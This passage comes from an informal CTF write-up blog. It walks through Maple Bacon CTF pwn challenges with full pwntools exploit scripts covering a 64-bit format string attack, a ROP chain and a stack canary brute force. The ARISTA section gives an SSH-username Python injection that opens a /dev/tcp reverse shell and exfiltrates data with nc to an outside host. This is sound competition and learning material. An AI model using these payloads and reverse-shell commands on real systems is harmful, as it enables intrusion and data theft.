 but haha guess what the remote server does not have the same stack which means i cant use the exact set of ptrs i found WHICH MEANS I GOTTA GO BACK TO THE DRAWING BOARD 

 so after another few hours in crawling the web that apparently only have 32bit format string exploits which does not have the concern of 64 bit, i eventually figured out myself how to arbitarily overwrite addresses: 

  but through using 1 pointer on the stack that references another pointer on the stack that also points to another stack location, i can write non aligned stack addresses through `%n` on the first ptr that modifies the second ptr to point to an empty location or a location i gotta rewrite, then through second ptr, write arbitrary values without alignment constraints to the third address since i can just add any number during my write to second ptr through first ptr

 basically the flow is as follows:
   - figure out what stack addresses above `RSP` references another stack address that is also stack ptr
   - lets say ptr1 is at `%10$p`, ptr2 is at `%20$p` and ptr3 that we are interested in is at `%30$p`
   - utilize ptr1 to change ptr2 through `%10$hn` to overwrite 2 bytes or `%10$n` to overwrite 4 bytes to point to some location we are interested in (e.g. return address before `RSP`, or any convenient values that only requires modifying the lower parts) - usually only 2 bytes is enough since we are modifying close locations
   - we then use `%20$p` to overwrite the value at the stack address that we wrote above, repeating step 2 with ptr3address + 2, ptr3address + 4 ... if needed 
   - we will end up with a fully overwritten value at ptr3 that we can then reference again using `%30$p`

 and now i can finally try GOT on the server

 but HAHA GUESS WHAT ITS FULL RELRO WHY DID I THINK SEGFAULTING LOCALLY WAS A BUG dude i was actually trolling here

 wasted a whole hour retrying this route lmao

 after this i also tried to return to heap to execute shellcode on the off chance it would succeed, but haha nope NX is enabled so

 so i tried to change my strategy to do return to libc using the printf return address instead

 and after like 2 hours i finally figured out the process to return to libc which involves using a gadget of pops chained before returning so i can return to libc without crashing as i need multiple writes to change return addr to system since i still didnt understand how to do multiple writes in a single line (actually i still dont think it is possible as my triple referencing technique cannot be executed at one go as the stack values get mov'd onto registers first so even if i change the stack value later references wouldnt have their values changed)

 so now i am finally in libc 

 but the question is how tf do i pass the argument to it

 i noticed system uses `RDI` as argument, and `RDI` (***at that moment i swear***) was `.bss:bss_start`, so i was like hm wait i can write to bss since its RW

 so i went to work on that

 haha lul guess what since bss_start is referenced after printf normal return somewhere and it segfaults if i change it i have to learn how to execute multiple format string changes anyway as im passing a "huge" string `/bin/sh` which is like 4 tries

 EVENTUALLY i figured it out (kinda) with the help of (funnily enough) a writeup from maple bacon themselves (https://ubcctf.github.io/2019/04/encryptctf-2019-pwn4/) which details on how to ignore overflowed bytes but then i realized it still wont work coz i need more than 1 pair of ptrs for triple reference as i explained above in how stack values wont get updated in a single format string

 BUT HAHA GUESS WHAT AGAIN OF COURSE BSS_START NEVER WAS IN `RDI` AGAIN IDEK WHERE I SAW IT 

 it is now `debug002:_IO_stdfile_1_lock` which honestly makes more sense than bss_start coz its used in printf for threading

 so aha now i have to change my process AGAIN namely to see if the lock is consistently there and good thing it is and also cross versions too

 thank god the lock is writable (ofc) and so i just used the same stack modification technique to write to the lock the string `sh` to pass as argument

 its kinda funny since when it returns printf just decrements 1 from `sh` to be `rh` coz it releases the lock but thats easily fixable changing it to `th`

 either way after ages of tinkering i finally got a working script locally on the libc version i was testing on (at this point i finally realized libc was provided but i didnt think much about it)

 but haha of course when i try it on the server everything goes haywire and segfaults

 so i had to write A LOT of sanity checks to verify if the pointers get overwritten correctly, the stack locations are right, and the pointers are referencing correct data and codes

 i realized the `system` offset was off for some reason on libc-database so i changed it to that in the libc i downloaded from libc-database and disassembled, but the worst part is when i fixed it EVERYTHING is right and yet it still is segfaulting, and i was honestly out of ideas at that point

 but then a thought came to my head - what if i can link the libc they provided instead of the version i was testing on and see if it segfaults

 i didnt really think about it before, nor did i know it was possible, but `LD_PRELOAD=./libc.so.6 maplectf2022py/bin/python3 pwintfpwn.py test` did the job and it segfaulted

 i dont think IDA server can pass environment variables like that (or can it? idk didnt really test thoroughly) so i just started it with pwntools and the give a delay for me to attach IDA manually

 it also has an added benefit of being able to automate input too

 but yea through that i finally realized whats the actual problem - the pop chain resulted in a non 16 byte aligned `RSP`, which means the `movaps` that is only in the system func in the libc ver they used segfaulted due to that (https://stackoverflow.com/questions/67243284/why-movaps-causes-segmentation-fault) 

 which means i just gotta pop 1 less register to shift RSP down back to aligned and use a less convenient stack address instead which was not really a big deal

 and ***FINALLY*** i got the flag `maple{h0p3_1t_d1dnt_t4k3_l0ng}` which was literally laughing at my face at this point :sob:

 and here is the final `printpwn.py` for automating the shell
```py
import sys
from pwn import *

if len(sys.argv) > 1:
    #offset_system = 0x47ad0  #test
    #offset__IO__2_1_stdin_ = 0x3ce7e0 #test
    offset_system = 0x55414
    offset__IO__2_1_stdin_ = 0x1eb980   
    s = process('./pwintf')  #test

    import time
    time.sleep(10)   #allow ida to attach
else:
    offset_system = 0x55414
    offset__IO__2_1_stdin_ = 0x1eb980   
    s = remote('pwintf.ctf.maplebacon.org', 32011)

offset__IO_stdfile_1_lock = offset__IO__2_1_stdin_ + 0x2B40



s.recvline()   #initial line
s.sendline(b'%p')   # _IO_2_1_stdin_ + 0x83
data = int(s.recvline().decode('utf-8'), 16) 
# data = int(input(), 16) 
print('[*] %p: ' + hex(data))
libc_base = data - 0x83 - offset__IO__2_1_stdin_
system = libc_base + offset_system
print('[*] libc base: ' + hex(libc_base))
print('[*] system: ' + hex(system))

#for overwriting RDI to /bin/sh string for passing to system
io_stdfile = libc_base + offset__IO_stdfile_1_lock
print('[*] io_stdfile_1_lock: ' + hex(io_stdfile))

#get ret pointer to drop stack down 1 more
s.sendline(b'%9$p')   # end of main()'s ptr
main_end = int(s.recvline().decode('utf-8'), 16)
# main_end = int(input(), 16) 
print('[*] main end addr: ' + hex(main_end))

#for incrementing RSP to the libc ptr that we overwrite
popchain4 = main_end + 0x72  #see libc_ptr comment below - thats why we only need 4 pops now instead of 5
print('[*] pop chain addr: ' + hex(popchain4))



#this roundabout way of referencing another ptr allows much more flexibility

#get stack offset
s.sendline(b'%8$p')   # random ptr that points to another stack value that is another stack pointer
data = int(s.recvline().decode('utf-8'), 16)
# data = int(input(), 16)
print('[*] %8$p (to-be libc ptr): ' + hex(data))
ret_stack = data - 0x28
print('[*] ret stack ptr: ' + hex(ret_stack))
#libc_ptr = data + 0x8   #since libc ptr is not 16 bytes aligned it segfaults in older(?) libc
#print('[*] libc ptr (__libc_start_main+ED): ' + hex(libc_ptr))
libc_ptr = data   #so we use the empty %8$p instead
debug_ptr = data + 0xA0
print('[*] debug001 ptr (audit_list_string+8): ' + hex(debug_ptr))



#huge sanity check for libc base
lp = libc_ptr & 0x0000ffff
fmtstr  = '%.' + str(lp) + 'u%13$hn'
s.sendline(fmtstr)
s.recvline()  #discard
lw = (libc_base + 0x1) & 0x0000ffff
fmtstr  = b'%.' + str(lw).encode('utf-8') + b'u%41$hn'
s.sendline(fmtstr)
s.recvline()  #discard
lp = (libc_ptr + 2) & 0x0000ffff  
fmtstr  = '%.' + str(lp) + 'u%13$hn'
s.sendline(fmtstr)
s.recvline()  #discard
uw = ((libc_base + 0x1) & 0xffff0000) >> 16
fmtstr  = b'%.' + str(uw).encode('utf-8') + b'u%41$hn'
s.sendline(fmtstr)
s.recvline()  #discard
s.sendline('%11$p')
print('[*] CHECK: this value be libc base', s.recvline())
s.sendline('%11$s')
print('[*] CHECK: this value should include the word ELF', s.recvline())




#point random stack address to reference libc ptr on stack 
lp = libc_ptr & 0x0000ffff
fmtstr  = '%.' + str(lp) + 'u%13$hn'   #might overflow to negative with a - with d, so u instead
print('[+] pointing %41$p to libc ptr with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard


#overwrite libc ptr to system pt 1
lw = system & 0x0000ffff
fmtstr  = b'%.' + str(lw).encode('utf-8') + b'u%41$hn'
print('[+] pointing libc ptr 1/4 to system with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard

#overwrite random stack address to reference libc ptr + 2 on stack
lp = (libc_ptr + 2) & 0x0000ffff  
fmtstr  = '%.' + str(lp) + 'u%13$hn'
print('[+] pointing %41$n to libc ptr + 2 with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard

#overwrite libc ptr to system pt 2
uw = (system & 0xffff0000) >> 16
fmtstr  = b'%.' + str(uw).encode('utf-8') + b'u%41$hn'
print('[+] pointing libc ptr 2/4 to system with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard

#point random stack address to reference libc ptr + 4 on stack 
lp = (libc_ptr + 4) & 0x0000ffff
fmtstr  = '%.' + str(lp) + 'u%13$hn'   #might overflow to negative with a - with d, so u instead
print('[+] pointing %41$p to libc ptr with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard


#overwrite libc ptr to system pt 3
lw = (system & 0x0000ffff00000000) >> 32
fmtstr  = b'%.' + str(lw).encode('utf-8') + b'u%41$hn'
print('[+] pointing libc ptr 3/4 to system with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard

#overwrite random stack address to reference libc ptr + 6 on stack
lp = (libc_ptr + 6) >> 48 
fmtstr  = '%.' + str(lp) + 'u%13$hn'
print('[+] pointing %41$n to libc ptr + 2 with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard

#overwrite libc ptr to system pt 4
uw = (system & 0xffff000000000000) >> 48
fmtstr  = b'%.' + str(uw).encode('utf-8') + b'u%41$hn'
print('[+] pointing libc ptr 4/4 to system with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard




#sanity check for libc system if matches
s.sendline('%10$p')
print('[*] CHECK: this value should be the same as system', s.recvline())
s.sendline('%10$s')
print('[*] CHECK: this value should be show', b'H\x85\xfft\x0b\xe9v\xfa\xff\xfff\x0f\x1fD\n', s.recvline())


# for some reason its not bss_start anymore but debug002:_IO_stdfile_1_lock at system+0x389850???
#overwrite same random stack address to reference libc ptr 2 for easier rewriting
lp = (debug_ptr) & 0x0000ffff  
fmtstr  = '%.' + str(lp) + 'u%13$hn'
print('[+] pointing %41$n to debug ptr with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard

lp = io_stdfile & 0x0000ffff  
fmtstr  = '%.' + str(lp) + 'u%41$hn'   #let the printed chars carry over into 5th byte since it will be ignored
print('[+] overwrite debug ptr to point to io stdfile pt 1 with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard

#part 2
lp = (debug_ptr + 2) & 0x0000ffff  
fmtstr  = '%.' + str(lp) + 'u%13$hn'
print('[+] pointing %41$n to debug ptr + 2 with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard

lp = (io_stdfile & 0xffff0000) >> 16
fmtstr  = '%.' + str(lp) + 'u%41$hn'   #let the printed chars carry over into 5th byte since it will be ignored
print('[+] overwrite debug ptr to point to io stdfile pt 2 with', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard


#sanity check
s.sendline('%30$p')
print('[*] CHECK: this value should be the same as _io_stdfile_1_lock', s.recvline())
s.sendline('%30$s')
print('[*] CHECK: this value should be empty', s.recvline())


#another big sanity check for popchain
lp = (libc_ptr - 0x10) & 0x0000ffff
fmtstr = '%.' + str(lp) + 'u%13$hn'
s.sendline(fmtstr)
s.recvline()  #discard
lp = (popchain4 & 0x0000ffff)
fmtstr = b'%.' + str(lp).encode('utf-8') + b'u%41$hn'
s.sendline(fmtstr)
s.recvline()  #discard
s.sendline('%9$p')
print('[*] CHECK: this value should be popchain addr', s.recvline())
s.sendline('%9$s')
print('[*] CHECK: this value should be same as', b']A\\A]A^A_\xc3ff.\x0f\x1f\x84\n', s.recvline())




#overwrite different random stack address to reference ret on stack - apparently its not updating if this is run in the same format string with the patching, prob due to stack alr being mov'd into register
lp = ret_stack & 0x0000ffff   #since it is the same aside from the lower 4-5 bytes we only need to overwrite that
fmtstr = '%.' + str(lp) + 'u%13$hn'   #%29$p is a pointer to %43$p
print('[+] pointing %41$hn to ret addr on stack', fmtstr)
s.sendline(fmtstr)
s.recvline()  #discard


#sanity check
s.sendline('%41$p')
print('[*] CHECK: this value should be the same as ret addr on stack', s.recvline())
s.sendline('%41$s')
print('[*] CHECK: this value should be within .text', hex(int.from_bytes(s.recvline(), byteorder='little')))


#have to do the entire string of printfs together coz bss_start causes segfault if the program continues running  #not using bss_start anymore but this still works
uw = int.from_bytes(b'th\x00', byteorder='little') #/bin/sh too long - system should be able to recognize this anyway - also for some reason the first byte gets decremented coz of the lock probably
fmtstr  = '%.' + str(uw) + 'u%30$n'  #print all 4 bytes
printed = uw


#overwrite return address to pop chain for popping closer to libc
lw = popchain4 & 0x0000ffff
lw = lw - printed if lw - printed > 0 else lw + 0x10000 - printed  #let it overflow since byte 5 onwards is discarded #no need anymore since uw is small
fmtstr += '%.' + str(lw) + 'u%41$hn'
print('[+] overwriting io stdfile lock, and pointing ret stack addr to popchain with', fmtstr)
s.sendline(fmtstr)
s.recvline()

s.interactive()  #give back control after exploit
s.close()

```

### wetuwn owiented pwogwamming  

 this one is actually probably beginner rop - its just finding the return address, and building a rop chain on top; tbh i feel like its not worth 250pts lmao

 its just finding a good return address on the stack that we can access, write garbage until we reach that, and start chaining the rop gadgets above that

 it even kinda "guides" you from easy (chaining A and B in the correct order) to harder (passing argument to C using `pop rdi` gadget)

 the only tricky part for me was passing the argument - for some reason i brainfarted so hard and thought push is the one that stores stack value in register so i was trying to find other ways to pass the argument (like writing to RBP's ptr but it got overwritten as expected)

 another problem that is kinda unrelated to the entire thing is how no debuggers seem to want to debug the program when its opened by pwntools so i ended up having to nc it, attach debugger then run the pwn script lmao

 anyways heres the flag `maple{w-wop_is_pwetty_coow}` and the script:
```py
from pwn import *

#context.binary = elf = ELF('./cpsc221/wetuwn-owiented-pwogwamming')
#rop = ROP(elf)
#print(rop.gadgets)

#since somehow both gdb and IDA doesnt want to work with pwntools on this binary ill just use nc to pipe with
#nc -l 127.0.0.1 -p 4000 | ./wetuwn-owiented-pwogwamming 
#s = remote('127.0.0.1', 4000)
s = remote('wetuwn-owiented-pwogwamming.ctf.maplebacon.org', 32018)

#payload chain goes down due to endbr64
payload  = p64(0x40126D)  #A
payload += p64(0x40128B)  #B
payload += p64(0x4013c3)  #pop rdi to set argument
payload += p64(0xDEADBEEF) #set the actual argument for popping
payload += p64(0x4012B4)  #C
payload += p64(0x4011D6)  #win

#0x80 until return address - we build beyond that
#entire string is passed to C as argument so we can just put deadbeef at front
s.sendline((b"A" * 0x78) + payload)  
#for some reason argument is reading the top 8 bytes? not questioning 
#also ebp is set on leave as the value above current RSP at vuln endp thats why we put the argument there
print(s.recvall())
```
   
### whats up sys?

 lol once you realize you just gotta overwrite the syscall id to write instead of exit in `getFlag()` its over lmao

 well i guess you also have to realize `overwrite()` only overwrites a byte worth of data pretty much coz it uses `dl` register

 which i didnt and was trying to write to the entire instruction for whatever reason lmao

 but yea basically just enter `1572` which is the offset of `0x3C` at `mov     edi, 3Ch`, then enter `1` for the syscall id (`write` to file descriptor 1 aka `stdout` the contents of fgets'd string)

 and voila `maple{W1ck3D_5h0oT1N9_C4pT41n!}`

 i forgot how easy some of the <200pts challs are lmao


### **ARISTA** challenge  

 holy shit i didnt think i would actually be able to finish this chall lol i was so lost when i started it 

 but i didnt realize i was actually this close before giving up i was on the right track

 part of it is because i didnt expect it to be yet another pyjail in disguise tbh lmfao 

 anyways here is the entire recall from day 1 to day 7 of my attempts from what i still remember
 * * *

 when i first started doing the challs on day 1, of course i was really tempted to grind this chall since it was by far the highest pts of any chall that was released at that point (400 vs <200~250), so i started digging into it

 i saw the binary `py_auth`, and decided to dig into it instantly (at this point there was no hints on how to solve the chall aside from a single ip given)

 so after some preliminary analysis, i realized it is an embedded python application that does a really weird `startAuth` call that does nothing but print the username, and that the escape function was extremely inadequate since it only escaped backslashes

 so of course i started to do some SQL-injection like tactics with python code to try to run arbitrary codes, and ey not long after i got the string `e')#` which i can put arbitrary code between `)` and `#` to execute (note: notice how i have to use multiple lines of code with `;` and how i have a `e` at this point - this will be important when it comes to day 7 progress)

 so i know how there is a live system with an ip, and how this looks like a pyjail problem, so i deduced that there should be something similar to an nc endpoint that i might be missing

 but of course there aint - the port is not shown, not to mention after nmapping for ages i only found `ssh` port being open (note: this will show up again on day 2 progress)

 so after asking the organizers if this was intended, which they clarified it was, i kinda gave up coz i cannot seem to find anything thats problematic with the ssh endpoint after some preliminary poking around aside from it using `keyboard-interactive` mode (note: another important thing in day 2 progress)

 i reasoned that ssh is one of the most important things of a server and is usually extremely secure, so that must not be what i have to poke around on (note: lol how wrong)

 so i went back to the py_auth app to dig around and see if theres any useful data, and after a long time i concluded there was no way there would be any

 i also annotated pretty much everything in the main function just as a sanity check that im not missing something:
```cpp
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  int v6; // ebx
  __int64 v7; // rax
  _QWORD *v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  char v14[16]; // [rsp+10h] [rbp-1C0h] BYREF
  __int64 v15; // [rsp+20h] [rbp-1B0h] BYREF
  _QWORD *v16; // [rsp+180h] [rbp-50h]
  char v17[8]; // [rsp+188h] [rbp-48h] BYREF
  __int64 v18; // [rsp+190h] [rbp-40h]
  __int64 v19; // [rsp+198h] [rbp-38h]
  __int64 v20; // [rsp+1A0h] [rbp-30h]
  __int64 v21; // [rsp+1A8h] [rbp-28h]
  __int64 v22; // [rsp+1B0h] [rbp-20h]
  void *ptr; // [rsp+1B8h] [rbp-18h]

  if ( argc > 1 )
  {
    ptr = (void *)argv[1];
    Py_Initialize();
    v22 = PyImport_ImportModule("__main__");    // prepare globals
    v21 = PyModule_GetDict(v22);
    PyModule_New("mymod");                      // make new mod for local dict
    v20 = v7;
    PyModule_AddStringConstant(v7, "__file__", &unk_4014CD);// PyModule_NewObject must specify __file__, so set it to empty string
    v19 = PyModule_GetDict(v20);
    v18 = PyEval_GetBuiltins();
    PyDict_SetItemString(v19, (__int64)"__builtins__", v18);// populate mymod with builtin 
    v8 = (_QWORD *)PyRun_StringFlags((__int64)pyfunc, 257LL, v21, v19, 0LL);// define startAuth as specified in string
    v16 = v8;
    if ( !--*v8 )
      (*(void (__fastcall **)(_QWORD *))(v16[1] + 48LL))(v16);// if return is NULL, throw exception and fail (SIGABRT)
    std::operator|(0x10u, 8);                   // read write flags - iosbase
    std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream();
    if ( ptr )                                  // open stream for user interactive
    {
      ptr = escape((const char *)ptr);          // poorly written escape function - escapes \ to \\ 
      if ( !ptr )
      {
        v9 = std::operator<<<std::char_traits<char>>(&std::cout, "Username escape failed...");
        std::ostream::operator<<(v9, (__int64)&std::endl<char,std::char_traits<char>>);
        v6 = -1;
LABEL_10:
        std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::~basic_stringstream((__int64)v14);
        return v6;                              // stream destructor and return
      }
      v10 = std::operator<<<std::char_traits<char>>(&v15, "startAuth(user='");
      v11 = std::operator<<<std::char_traits<char>>(v10, ptr);// "startAuth('" + userInput + "')"
      std::operator<<<std::char_traits<char>>(v11, "')");
      free(ptr);
    }
    std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::str((__int64)v17, (__int64)v14);
    v12 = std::string::c_str((std::string *)v17);// convert stream to string, can result in dangling pointer; useful?
    v16 = (_QWORD *)PyRun_StringFlags(v12, 257LL, v21, v19, 0LL);// run startAuth with user input 
    std::string::~string((std::string *)v17);   // destroy and finalize and prepare to return
    Py_Finalize();
    v6 = 0;
    goto LABEL_10;
  }
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Usage: ");
  v4 = std::operator<<<std::char_traits<char>>(v3, *argv);// print help if no arg found
  v5 = std::operator<<<std::char_traits<char>>(v4, " <username>");
  std::ostream::operator<<(v5, (__int64)&std::endl<char,std::char_traits<char>>);
  return -1;
}
```

 and so with that i gave up for the day and moved on to other challs
 * * *

 day 2 - i was working on other challs (funnily enough it was pyjail 2) when i saw a ping in the announcement channel on discord: a new series of challs got announced, along with a hint for this chall:
   - it is confirmed that ssh is the correct thing we should tackle
   - it is related to an arista EOS (note: this did more harm than good as you will see as i progress)

 so i went right back to this chall after finishing what i had on hand, and this time i actually noticed something new: the ssh username checker returns `\`s as `\\`s in the username whenever i type that in, which is SUSPICIOUSLY like the escape function i saw in `py_auth`

 so i reasoned that the username actually runs something similar to `py_auth`, and i got to work trying to use the methods i did ACE on `py_auth` with

 but a few hours passed and i did not get any progress beyond realizing it is a possibility that when i input something that has invalid python code it would instantly return `Permission denied` instead of the usual 3 password prompts first (note: why it doesnt work will be explained in day 7, and its related to my first note about `e')#`)

 since i had no way to tell if im even on the right track, and with the amount of time ive wasted on this, i gave up and did other challs instead especially considering how other teams were catching up already

 and this went on for pretty much the entire week - we were neck to neck with the second place most of the time, and with weekend being over and school starting again, i had no time to go revisit this chall which i deemed quite impossible to solve at that moment

 and this brings us directly to day 6 night
 * * *

 day 6 night - we have basically cleared all of the challs, and we were looking for ways to secure our position as the 1st so we decided to revisit arista along with other seemingly impossible/too time consuming challs

 it still felt quite futile, but my teammate actually thought of some of the things that i hadn't thought about, which is that it might be crucial that there is only effectively a single line of code which is the `startAuth` call and nothing else (note: this actually solved 1/2 of the problems i had with my old `py_auth` exploits, namely the `;` being rejected by instant permission deny)

 so we went ahead and derived methods to call methods while still technically being a single function call - this is where i got my `.format` method idea, along with making a huge list comprehension `[i for i in range(10000000)` in place of `import time; time.sleep(5)` to verify if our code is running since we cannot get any form of text output

 just like day 2 though, we were getting nothing but weird `Permission denied` and useless password prompts, which made us pretty much give up again 

 which brings us to right now, day 7 midnight where i was just gonna test some more things out before heading to bed
 * * *

 day 7 midnight - after having unnecessarily tough luck with birb (i got the exploit working locally with multiple libc versions (had to fix movaps stack alignment just like in pwintf) but it is still dying on remote for some reason), i decided to revisit arista for possibly the last time instead

 while i was tinkering with the exploits i had, since i was quite convinced it was related at this point with how its named and all the weirdness i noticed before, i actually got a entirely new prompt that ive never seen - instead of prompting for just password, it now also prompts for username when i input `')#` instead of `e')#`

 my reasoning is that the former string results in an empty username, which makes the auth ask for username again, but when i pass just an empty string as username i just get permission denied so im not sure

 maybe its due to some other username checks before the python codes but thats not quite important

 the important part is that now i got a concrete response that i can move on to - and so the first thing i tried was the things i discussed with my teammate yesterday

 and EY `ssh -l "'.format([i for i in range(100000000)]))#" 54.215.139.152` actually waits for an unusually long time verifying my code is actually running

 so forcing the username prompt to show up seem to be a must for codes to run

 and now the only thing thats left is to obtain a shell somehow - and my pyjail knowledge from HKCERT CTF is now flooding back

 so i tried multiple things from `exec()` (which doesnt work well coz its python 2), `open()` (which idk what to open in the first place anyway) and finally to "reflective" features of python like `__builtins__`and `__import__`

 i hit some roadblocks along the way, but it was relatively easy to solve by first testing with `python2 -c "print (' <test string> ')` to get syntax errors, then `./py_auth <test string>` to filter out things python2 missed, then finally ssh to see if it still shows the username prompt as if its running normally

 and i landed on `'.format(__builtins__.__import__('os').system('sh')))#` - it ran perfectly fine on all 3 tests, so i tried to think if theres any way to pipe this shell i obtained to an external endpoint

 i first tried to execute a `HTTP GET` using `curl` that has a subshell piping into the url, so i can check my web server logs for exfiltrated data but i realized i cant really pipe that much data - if it has even just a space i would only get a part of the data

 so i went to use some pastebin-like services that allow uploading data really easily through `nc`, and so i just used that and piped the returned url through a curl request with `curl https://<webdomain>/\$(ls | nc termbin.com 9999)'`

 except this worked on both python2 and py_auth, but not remote - it either did nothing or failed with instant permission deny

 but then i realized why not just host a nc endpoint so i can bypass the need of `curl` entirely, and so i arrived at `'.format(__import__('os').system('ls | nc -q 1 <ip> 13575')))#` and listening with `nc -l 13575` on my server

 except it still did nothing even though both python2 and py_auth worked locally, so i reasoned that the remote server had no `nc` at all

 so i searched up how to do a connection without `nc`, and i stumbled upon piping to `/dev/tcp/<ip>/<port>`, so the first thing i did was a `'.format(__import__('os').system('ls > /dev/tcp/<ip>/13575')))#` and EYYYY it worked

 not long after i stumbled upon a even more useful syntax `'sh -i 5<> /dev/tcp/<ip>/13575 0<&5 1>&5 2>&5'` that just opens up a reverse shell, and so i started using this with `ssh -l "'.format(__import__('os').system('sh -i 5<> /dev/tcp/<ip>/13575 0<&5 1>&5 2>&5')))#" 54.215.139.152` instead

 at this point all thats left is to figure out what is actually the flag, which is genuinely a trivial matter compared to other parts of this chall or even other challs

 i thought the weird `tmp5THX4t` file name might be the flag since i had no hints on what the flag should look like, but it was not it so i continued looking everywhere

 i initially thought of grepping all file names from `/` to find `flag`, but it felt like it'd take way too long and i wanna sleep

 but then i remembered someone actually got here before me and even left a `hello.txt` as an "i was here" note LMAO so why not check `.bash_history` of `/root/` since it probably wouldve saved their commands

 and yep it was right there `/etc/flag.txt` lmaooo saved me time 

 so yea here the flag is `JgnevhfTQXjZopzPLsspPOt0s9v4Gsxu`, and its wrapped form `maple{JgnevhfTQXjZopzPLsspPOt0s9v4Gsxu}`

 what a journey lmao

### birbs

 the only reason why i was really struggling with this chall is prob coz i used the wrong ver of the binary lmao but its just a straightforward canary bruteforcing then overwrite return address exploit

 along with the slow ass response from the remote server

 like the script pretty much says how to do the chall itself tbh
```py
from pwn import *

#canary bruteforcing like this is only effective against read() not gets() - https://pollevanhoof.be/nuggets/buffer_overflow_linux/4_stack_canaries

#context.binary = ELF('./birbs')

#io = remote('127.0.0.1', 4000)
io = remote('birbs.ctf.maplebacon.org', 32021)

canary = b''

while len(canary) < 8:
    for i in range(0x100): #0xFF inclusive
        io.recvuntil('Give up.\n')
        io.sendline('1')
        io.recvline() #ignore prompt
        payload  = b'A' * 0x28  #padding until canary
        payload += canary + bytes([i]) #guess canary byte by byte
        io.send(payload)
        if 'exit' in io.recvline().decode('utf-8'):
            canary += bytes([i])
            print('canary so far', canary)
            break


#final send
io.sendline('1')
io.recvline() #ignore prompt

# import time
# time.sleep(10)  #debugger attach before final payload only since canary is working

#assemble final payload
payload  = b'A' * 0x28  #padding until canary
payload += canary #canary value from brute force
payload += p64(0x4012CC) #padding until ret with ret gadget
payload += p64(0x4012CC)
payload += p64(0x4012B6) #new cave_exit()

#  OLD CODE YIKES THATS WHY IT WAS CRASHING BRUH I FORGOT THEY CHANGED THE BINARY
#payload += p64(0x4012AC) #just a ret to align pointer for movaps in system() just in case they used a libc ver with that like pwintf
#payload += p64(0x4013EB) #cave_exit() branch 

print('final payload', payload)
io.sendline(payload)
io.sendline('ls')
io.sendline('cat flag.txt')
io.interactive()
```





